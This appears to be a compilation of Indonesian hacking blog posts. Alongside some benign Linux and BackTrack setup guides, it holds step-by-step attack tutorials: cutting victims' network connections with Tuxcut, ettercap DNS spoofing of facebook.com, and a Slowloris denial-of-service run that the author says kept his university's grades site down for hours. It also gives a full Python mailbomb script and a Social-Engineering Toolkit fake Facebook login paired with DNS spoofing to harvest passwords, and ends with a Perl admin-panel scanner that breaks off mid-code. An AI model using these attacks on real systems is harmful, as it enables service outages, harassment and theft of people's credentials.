Cara install package .tar.gz atau tar.bz2

Berbeda dengan windows yang tinggal double klik saja untuk menginstal aplikasi, lain halnya di linux. Kita harus mengetahui ekstensi yang di pakai oleh aplikasi yang akan kita install. Yang akan penulis bahas disini adalah cara install aplikasi yang berekstensi .tar.gz atau tar.bz2.
Kalau mau instal file tar.gz atau tar.bz2, ekstrak terlebih dulu file tersebut. Bisa lewat file manager (Konqueror atau Nautilus). Klik kanan pilih extract here. Atau lewat terminal konsole.
$ tar xzvf nama file.tar.gz
Terus masuk ke direktori tempat file hasil ekstrak kemudian baca file README atau INSTALL file tersebut sebagai petunjuk utama instalasi file.
Tap secara umum, sebagian besar instalasi paket tarbal (tar.gz atau tar.bz2) bisa melalui langkah-langkah berikut (lewat terminal)
$ cd folder ekstrak
$./configure
pastikan saat ini tidak ada masalah. Jika ada paket-paket lain yg harus diinstal, instal terlebih dulu paket-paket yg dibutuhkan.
Lalu lakukan kompilasi
$make
Lalu install (sebagai root)
$su
#make install

Perintah Dasar Backtrack

lo, udh ad yg pernah posting, ane minta maaf sebelumnya...

Bagi para pengguna backtrack yg udh biasa, pasti sdh tidak asing dengan command dasar yg ane tulis ini.. Tpi buat yg baru dalam backtrack, pasti sangat merepotkan kalo belum tau command apa yg di gunakan.. Command ini yg paling sering ane gunakan, tlg d koreksi kl ada yg salah..

[*] Login
Username root password toor > default user pada backtrack, saran ane setelah login langsung ganti password dengan command
root@bt:~# passwd
kemudian masukkan password baru 

[*] Memperbaiki tampilan splash:
root@bt:~# fix-splash

[*] Memulai X-server (Desktop GUI)
root@bt:~# startx

[*] networking
untuk memulai networking biasanya menggunakan WICD tpi sebelumnya ketik dulu di console:
root@bt:~# /etc/init.d/wicd start
lalu klik :
menu > internet > wicd netwok manager

setting ip dynamic,
root@bt:~# dhclient <interface network ente>
-- interface disini bisa saja eth0 atau eth1

Setting IP static
misalnya :
interface - eth0
IP Address - 192.168.1.9/24
Default Gateway - 192.168.1.1
DNS server - 192.168.1.1
maka perintah yang digunakan adalah :

root@bt:~# ifconfig eth0 192.168.1.9/24
root@bt:~# route add default gw 192.168.1.1
root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf

settingan ini akan kembali default bila di reboot, untuk menjadikan permanen maka kita perlu meng-edit file /etc/network/interfaces,

root@bt:~# nano /etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.1.9
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

kemudian save dengan menggunakan perintah CTRL+X kemudian jawab y kemudian enter

root@bt:~# update-rc.d networking defaults
root@bt:~# /etc/init.d/networking restart

[*] Memulai service di BT :

• SSH (Secure Shell)
  sebelum menjalankan service ssh unutk pertama kali, kita perlu meng-generate key nya jalankan perintah:
  root@bt:~# sshd-generate
  root@bt:~# /etc/init.d/ssh start
  Starting OpenBSD Secure Shell server: sshd.
  
  untuk menghentikan service :
  root@bt:~# /etc/init.d/ssh stop
  Stopping OpenBSD Secure Shell server: sshd.
• apache webserver
  root@bt:~# /etc/init.d/apache2 start
  atau bisa jg dengan perintah
  
  root@bt:~# service apache2 start
  * Starting web server apache2
  
  atau :
  root@bt:~# apache2ctl start
  
  untuk menghentikan service :
  
  root@bt:~# /etc/init.d/apache2 stop
  
  atau :
  root@bt:~# service apache2 stop
  
  atau :
  root@bt:~# apache2ctl stop
• MySQL
  untuk memulai bisa menggunakan perintah :
  root@bt:~# /etc/init.d/mysql start
  
  atau:
  root@bt:~# start mysql
  
  untuk menghentikan :
  root@bt:~# /etc/init.d/mysql stop
  
  atau :
  root@bt:~# stop mysql
  
  

Cara Memutus koneksi dengan Tuxcut

Tuxcut sama saja seperti netcut, yang digunakan untuk memotong/memutus koneksi client pada jaringan Wifi/wirelles dan LAN...

Tuxcut membutuhkan modul2 lain, seperti
-arp-scan
-dsniff
-arp-tables

jika belum mempunyai ketiga itu download dan instal saja ,,,

1. arp-scan ( buka terminal lalu ketik ) :

   apt-get install arp-scan

2. dsnif

    apt-get install dsniff

3. arp-tables

    apt-get install arptables

jika sudah Download Tuxcut disini

saat ini yang terbaru untuk backtrack/ubuntu yang " TuxCut-3.2_all.deb "

jika sudah d download instal dengan cara mengetikan perintah :

dpkg -i TuxCut-3.2_all.deb

di sesuaikan dengan direktorinya , jika filenya di simpan d dekstop jangan lp cd Desktop dl :D

Dan jika agan ingin menjalankannya cukup ketik perintah Tuxcut di terminal...

- klik scan untuk scanning target...
- jika sudah muncul IP klik CUT untuk memutuskan koneksi korban
- Resume untuk menyambungkan lagi koneksi korban..
- Change MAC untuk menggantu MAC address kl tdk salah..
- Klik Protect Me untuk memproteksi koneksi anda...

* satya sudah mencoba pada jaringan Wireless ataupun LAN, dan Berhasil...

Selamat Mencoba....

DNS Spoofing With Ettercap - Backtrack

dulu saya pernah posting cara DNS spoofing di Windows menggunakan Cain and Abel...

sekarang saya mau share Dns spoofing di Backtrack dengan Ettercap...

kebetulan masih byk yang belum tau dengan statusbaru.com ( jejaring sosial buatan Indonesia ) makanya kita alihkan www.facebook.com ke www.statusbaru.com pada jaringan kabel ( LAN ) ataupun Wireles...

ok mulai...

- pertama buka etter.dns dengan perintah pada terminal :

gedit /usr/share/ettercap/etter.dns 

jika kosong cb disini gedit /usr/local/share/ettercap/etter.dns 

- Hapus semua tulisannya dan ganti dengan :

*.facebook.com A 63.141.225.196 ( 63.141.225.196 adalah ip statusbaru.com ) lalu save dan keluar

- jalankan dns_spoofing dgn perintah :

ettercap -Tqi eth0 anda -P dns_spoof -M arp // // lalu enter

ket :

eth0 adalah interface saya lihat sja dgn perintah ifconfig

dan pada // // bisa jg d isi dengan target pilihan anda..

contoh :

/target 1/ /target2/ 

dimana target 1 = default gateway dan target 2 = ip korban
ettercap -Tqi eth0 anda -P dns_spoof -M arp:remote /gateway/ /target/

tapi sy lebih senang dengan menggunakan " // // "saja :)

 - tunggu sampai target membuka www.facebook.com

jika berhasil maka di terminal akan ada jawaban : dns_spoof: [www.facebook.com] spoofed to [63.141.225.196] berarti kitasudah berhasil..

Selamat Mencoba... ^_^

Video DOS Attack With Backtrack

DOS Attack With Backtrack Bag.2

Nah sekarang kita coba gunakan LBD dan Slowloris...

pertama saya sarankan jangan terlalu sering main beginian kasian karena merugikan..kemarin² saya kesal dengan kampus saya karena sudah ipk jelek pemberitahuan remedialpun ga jelas , di undur lah, nilai belum fix lah, udah tau saya mahasiswa goblok d bikin susah lagi..mana bayar 26rb/mata kuliah :'( ...jadi curhat wkwkwk...

oke, pertama gunakan lbd.sh untuk cek load balancing pada web caranya :

- Buka terminal ( ctrl + t )

- ketik cd Desktop ( tempat menyimpan kedua tools/file tadi )

- jalankan lbd.sh dengan perintah ./lbd.sh
- jika permision denied ketik dulu chmod 755 lbd.sh lalu coba lagi ketik ./lbd.sh
- jika berhasil langsung ketik ./lbd.sh example.com bisa juga dengan menggunakan ip web tsb caranya ping dulu
  ( ping www.example.com ) nanti ada ip yg muncul...
- tunggu hingga selesai dan lihat apakah menggunakan load balancing atau tidak jika tidak output akhir  yg saya dapatkan seperti ini :



Checking for HTTP-Loadbalancing [Diff]: NOT FOUND


203.130.232.49 does NOT use Load-balancing.


berarti kita lanjutkan ke slowloris.... :)

- ketik pada terminal cd Desktop ( jika sudah langsung saja )

- ./slowloris.pl -dns [target] -port 80 -timeout 500 -num 500 -tcpto 5 -httpready

*selama melakukan dos terminal jangan d close

- tapi jika ingin lebih mantap silahkan pahami kutipan yang saya dapat dari http://forum.indonesianbacktrack.or.id/

keterangan : 

* -dns : the target ( dapat berupa IP atau domain )

* -port : port yg di gunakan oleh webserver ( 80 ) 

* -timeout: nilai waktu delay timeout untuk setiap paket thread, penantian reacquiring ruang tcp di server. pada langkah pengetesan, Nilai ini diisi dengan flag -test

* -num : jumlah soket yang digunakan untuk mendapatkan koneksi.Biasanya server apache akan membutuhkan nilai antara 400-600 atau tergantung pada konfigurasi 

* -tcpto : TCP Timeout. 

* -httpready: HTTPReady di gunakan apache untuk buffer connections. attacker dapat melewati perlindungan ini dengan mengirimkan permintaan POST bukan GET atau HEAD.

untuk mengetahui limit timeoout gunakan perintah

./slowloris.pl -dns [ip/webdomain target] -port 80 -test

tunggu sampai mememukan limit timeoutnya

saya mencoba dengan timeout 500 dan num 700, berhasil web tidak bisa d buka , tapi tidak lama kemudian bisa lagi :(
dan sayapun memutuskan untuk iseng, timeout saya kasih 500 dan num 5000 wkwk hasilnya memuaskan,,
beberapa jam web tidak bisa d buka, (dengan catatan jika web sudah terbuka lagi saya ulangi lagi slowlorisnya)..otomatis yang mau login melihat nilai harus tertunda...itu hanya sebagai pengalaman saja :)
mungkin di postingan berikutnya saya akan share videonya karena mungkin kata2 saya ada yg tidak di mengerti atau berbelit2 mohon d maklumi...
jika ada kesalahan tolong d komentari agar bisa sy perbaiki ...
selamat mencoba :)
sumber

DOS Attack With Backtrack Bag.1

Template udah beres...blog jd agak gantengan hahha..
oke kemarin² saya pernah share cara DDoS attack versi notepad...
tujuannya sama saja perbedaannya pada cara menggunakan...

DDoS atau Distributed denial of Service dan DoS atau Denial of service  jelas sekali perbedaannya..

jika kali ini saya akan share tentang DoS berarti satu komputer dan satu koneksi internet digunakan untuk membanjiri sever dengan paket  (TCP/UDP)...

kita butuh 2 tools...

1. LBD

2.Slowloris

- LBD atau Load Balancing Detector yang berguna untuk melihat webserver tsb menggunakan load-balancing atau tidak..

- Slowloris yang nantinya akan kita gunakan untuk melakukan serangan DoS..

Jika belum mempunyai kedua tools ini ikuti caranya :

Copy Script d web ini http://ge.mine.nu/code/lbd

Jika sudah di copy buka terminal, lalu ketik :
- cd Desktop enter
- nano lbd.sh nanti akan muncul kotak, lalu paste disitu
- tekan ctrl + x lalu y dan enter ( untuk keluar dan save )
- lihat di dekstop pasti sudah muncul file lbd.sh


selanjutnya Slowloris

Copy ini semua yang ada disini http://ha.ckers.org/slowloris/slowloris.pl

- Paste script yg barusan

- tekan ctrl + x lalu y dan enter ( untuk keluar dan save )
- lihat di dekstop pasti sudah muncul file slowloris.pl


SAMPAI SINI DULU UNTUK PENGGUNAAN ADA DI POSTING SELANJUTNYA,,

Konfigurasi BackTrack 5 Ke Mode Grafis Tanpa "startx"

Keinginan kami untuk mendesktopkan BacTrack dan mengurangi kesan BackTrack adalah sistem yang identik dengan command line dan dunia under ground sehingga tidak cocok bagi pengguna pemula telah mendekati kenyataan.

Jika sebelumnya telah kami sampaikan cara menambahkan repositori Ubuntu 10.04 LTS pada BackTrack 5, menginstal beberapa perangkat pengelola desktop dengan mode grafis termasuk menambahkan instalasi OpenOffice untuk kebutuhan kerja sehari-hari, tutorial kali ini masih berhubungan erat dengan tutorial tersebut. Sehingga bagi Anda yang belum membacanya, kami sarankan untuk mengikuti tutorial tersebut agar lebih mudah mengikuti artikel ini.

BackTrack 5 secara default tidak menyertakan desktop manager semacam GDM dalam paket distribusinya, sehingga user harus menggunakan mode text untuk login ke sistem dan menjalankan mode grafis dengan cara memberi perintah "startx".

Langkah-langkah berikut akan memandu Anda menginstal GDM, menginstal perangkat administratif untuk mengaturan user dan group serta melakukan konfigurasi agar BackTrack secara otomatis menjalankan mode grafis dengan GDM sebagai login manager.

Kami telah menjelajah mencari referensi yang tepat untuk menjalankan GDM pada BackTrack, namun tak satupun referensi yang kami dapatkan. Penggantian sysv dengan upstart pada Ubuntu yang menjadi basis BackTrack 5, memang menyulitkan kita untuk mengkonfigurasi service, sehingga untuk menjalankan service GDM secara otomatis kami menggunakan cara manual. Kami dengan senang hati akan menerima setiap masukan serta koreksi dari rekan-rekan sekiranya dalam kami menyampaikan langkah-langkah ini terdapat kesalahan.

Kami mengasumsikan Anda telah mengikuti tutorial sebelumnya, dimana kita telah menambahkan repositori Ubuntu 10.04 LTS dan menginstal Synaptic sebagai pengelola paket.

Langkah pertama, jalankan Synaptic lalu instal paket GDM...

Setelah GDM berhasil diinstal, kita akan mendapatkan sebuah menu baru "Login Screen" dibawah menu System -->> Administration...

Langkah kedua, menambahkan user baru. Secara default BackTrack menggunakan root sebagai user. Sepertihalnya pada Ubuntu, kami tak menyarankan Anda untuk selalu bekerja dengan user root, ini dimaksutkan untuk menghindara kerusakan sistem jika suatu ketika kita melakukan kesalahan sehingga berakibat fatal. Untuk menambahkan user baru sebenarnya kita dapat menggunakan terminal dengan memberi perintah "adduser" namun bagi pengguna pemula seperti kami, ini akan menyulitkan dalam pengaturan user privileges. Untuk kemudahan, silahkan instal paket "gnome-system-tools"...

Jalankan user-admin melalui menu System --> Administration --> Users and Groups untuk membuat user baru. Pada jendela "Users Settings" tekan tombol "Add". Pada jendela "Create New User", silahkan masukkan nama lengkap user yang akan dibuat pada kolom "Name" dan masukkan username yang akan digunakan untuk login pada kolom "Short Name:"...

Pada jendela "Change User Password" pilih opsi pertama "Set password by hand" lalu masukkan password yang Anda inginkan pada kolom "New password:" dan ketik ulang password tersebut pada kolom "Confirmation:"...

Kini kita telah memiliki user baru, silahkan atur user tersebut agar memiliki hak akses administratif dengan memasukkannya ke dalam group "sudo". Pilih user yang dikehendaki lalu tekan tombol "Manage Groups". Pada jendela "Groups settings" cari group bernama "sudo" lalu tekan tombol "Properties". Pada jendela "Group 'sudo' Properties" centang nama user untuk memasukkan user yang Anda inginkan ke dalam "Group Members" sudo, tekan "OK" lalau tutup semua jendela pengaturan user dan group...

Sekarang saatnya melakukan konfigurasi manual agar service GDM dijalankan secara otomatis saat startup. Jalankan terminal lalu ketik perintah berikut;

gedit /etc/rc.local

Sisipkan baris perintah "service gdm start" tepat di atas baris "exit 0" (lihat gambar untuk lebih jelasnya)...

Simpan perubahan rc.local lalu tutup jendela gedit.

Silahkan restart komputer, nah kini BackTrack 5 secara otomatis masuk ke mode grafis dengan menggunakan GDM sebagai desktop manager...

Pilih user yang telah Anda buat lalu masukkan passwordnya. Tekan enter atau klik tombol "Log In" untuk masuk ke desktop Gnome. Bagai mana cara untuk masuk ke sistem menggunakan user root dengan GDM ini?, itu sangat mudah, silahkan pilih "Other.." lalu masukkan "root" pada "Username:", tekan enter lalu masukkan password root dengan "toor" lalu tekan enter maka Anda akan masuk ke sesi desktop Gnome sebagai root...

Nah.. inilah desktop user baru kami "BojaTrack" yang untuk menjalankannya tidak lagi memerlukan perintah "startx"...

Catatan: Untuk mengganti theme GDM silahkan merujuk pada artikel kami cara mengganti Theme GDM. Sebagai informasi tambahan, BackTrack 5 tidak menggunakan /usr/share/backgrounds sebagai lokasi penyimpanan wallpaper melainkan berada di /usr/share/wallpapers sehingga jika Anda ingin mengganti background silahkan merujuk ke lokasi tersebut.

Selamat mencoba...

MailBomb With Backtrack

CODE:
#!/usr/bin/python
#pybombmail.py by aBi71
#This code for education purpose only.
#Use it at your own risk !!!

import os
import smtplib
import getpass
import sys


server = raw_input ('Server Mail: ')
user = raw_input('Username: ')
passwd = getpass.getpass('Password: ')


to = raw_input('\nTo: ')
#subject = raw_input('Subject: ')
body = raw_input('Message: ')
total = input('Number of send: ')

if server == 'gmail':
    smtp_server = 'smtp.gmail.com'
    port = 587
elif server == 'yahoo':
    smtp_server = 'smtp.mail.yahoo.com'
    port = 25
else:
    print 'Applies only to gmail and yahoo.'
    sys.exit()

print ''

try:
    server = smtplib.SMTP(smtp_server,port)
    server.ehlo()
    if smtp_server == "smtp.gmail.com":
            server.starttls()
    server.login(user,passwd)
    for i in range(1, total+1):
        subject = os.urandom(9)
        msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
        server.sendmail(user,to,msg)
        print "\rTotal emails sent: %i" % i
        sys.stdout.flush()
    server.quit()
    print '\n Done !!!'
except KeyboardInterrupt:
    print '[-] Canceled'
    sys.exit()
except smtplib.SMTPAuthenticationError:
    print '\n[!] The username or password you entered is incorrect.'
    sys.exit()
Cara Save :

1. Buka Terminal ketik cd Desktop ( untuk menyimpan di Desktop )
2. Copy script di atas
3. ketik nano ebomb.py lalu paste , keluar dengan Ctrl + x - y - enter

Cara menggunakan :

1 . cd Desktop
2. chmod 755 *
3. ./ebomb.py
4. - server mail ( contoh gmaildi isi dengan gmail )
    - username ( alamat email anda )
    - Password ( password email anda )
    - to ( email korban )
    - message ( pesan anda )
    - Number of send ( jumlah pesan yang akan di kirim )

Contoh output jika berhasil :


Total emails sent: 1
Total emails sent: 2
Total emails sent: 3
Total emails sent: 4
Total emails sent: 5
Total emails sent: 6
Total emails sent: 7
Total emails sent: 8
Total emails sent: 9
Total emails sent: 10
Total emails sent: 11
Total emails sent: 12
Total emails sent: 13
Total emails sent: 14
Total emails sent: 15
Total emails sent: 16
Total emails sent: 17
Total emails sent: 18
Total emails sent: 19
Total emails sent: 20

 Done !!!

Selamat mencoba!

Hack Account Facebook , Twitter , Gmail dll With Social-Engineering Toolkit + Video

kali ini saya akan share tentang SET atau Social-Engineering Toolkit beserta Videonya ( dibawah )..
SET ini sudah tersedia di Backtrack 5 ...
ini sejenis fake login yang alamatnya adalah ip address kita...
jadi kebelet pngen ke warnet / hotspot hahaha..
oke mulai ....


Pertama buka terminal..

1. cd /pentest/exploits/set (enter)
2. ./set (enter)
3. pilih Social-Engineering Attacks dengan cara tekan angka 1
4. pilih Website Attack Vectors tekan 2
5. pilih Credential Harvester Attack Method tekan 3
6. pilih Web Templates tekan 1
jika memilih Site Cloner kita perlu memasukan alamat web yang akan kita buat menjadi fake login, dan jika web templates kita tinggal memilih yang sudah disediakan oleh SET itu sendiri, facebook contohnya...
7. tinggal pilih template yg mana, untuk contoh kita coba facebook, pilih 4
8. Press {return} to continue. tekan enter..


[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:


berarti SET sudah selesai....etss jangan di close.. :p nanti passwordnya muncul di bawah itu..

Bagaimana SET akan bekerja ? jika korban memubuka alamat http://ipadresskita atau http://192.168.0.3 misalnya maka tampilannya akan seperti facebook, dan ketika korban login , akan terkirim ussername and password ke terminal kita...( untuk melihat ip address , lakukan perintah ifconfig pada terminal)

Tapi sangat tipis kemungkinan korban mengakses http://192.168.0.3 , lalu bagaimana agar korban dapat membuka http://192.168.0.3 / ip address kita ?? lakukan saja DNS SPOOFING...

oke kita buat agar setiap korban mengakses http://www.facebook.com akan beralih ke http://192.168.0.3.
korban tidak akan curiga karena url tetap www.facebook.com dan tampilannya pun sama persis...

1. buka etter dns dengan perintah gedit /usr/local/share/ettercap/etter.dns
2. edit menjadi :

facebook.com A 192.168.0.3
*.facebook.com A 192.168.0.3

192.168.0.3 itu contoh ip saya...
setelah itu save..
3. jalankan dns spoofing dengan perintah

ettercap -Tqi (interfaces) -P dns_spoof -M ARP // //
interfaces saya eth0 ( lihat di ifconfig ) jadi perintahnya seperti ini :
ettercap -Tqi eth0 -P dns_spoof -M ARP // //

setelah itu , kita buka terminal yang pertama (SET)
kita tunggu sampai korban login..nanti akan ada email dan password , silahkan gunakan dengan bijak :p
jika kurang mengerti lihat Video saya :

 

Selamat Mencoba!
sumber

Admin Finder ( Perl ) - Pendeteksi halaman login Admin Website

Halo gan, kalo ada yang butuh admin finder, untuk mencari halaman login admin pada suatu web..
Seperti yang kita tau program ini hanya mampu menemukan halaman admin yang sering digunakan...
langsung aja ini scriptnya yang saya dapatkan dari pastebin..

#!/usr/bin/perl

##
# By Umer Rock
# Admin Control Panel Finder ___ Version 1
# Home: learnEthicalHacking.Net
##

use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');

print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By Umer Rock----------[*]\n" ;
print "[*]-------------learnEthicalHacking.Net---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";

print "~# enter site to scan\n* ex: [url=http://www.domaine.com]www.domaine.com[/url] ou [url=http://www.domaine.com/path\n-]www.domaine.com/path\n-[/url]> ";
$site=;
chomp $site;

print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=;
chomp($code);

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";

print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";

if($code eq "asp"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html','wp-login.php'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n"; } } } # ------------------------------------------------------- # -------------------test cfm ---------------------------| # ------------------------------------------------------- if($code eq "cfm"){ @path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/', 'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm', 'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html', 'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm', 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html', 'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html', 'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html', 'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm', 'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm', 'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html', 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html', 'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html', 'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm', 'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm', 'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html', 'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm', 'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm', 'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html' ); foreach $ways(@path1){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n"; } } } # ------------------------------------------------------- #--------------------------/test-------------------------| # ------------------------------------------------------- if($code eq "php"){ @path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/', 'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php', 'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html', 'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html', 'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html', 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html', 'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php', 'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php', 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php', 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html', 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html', 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html', 'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html', 'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html', 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php', 'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php', 'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php', 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php' ); foreach $ways(@path2){ $final=$site.$ways; my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
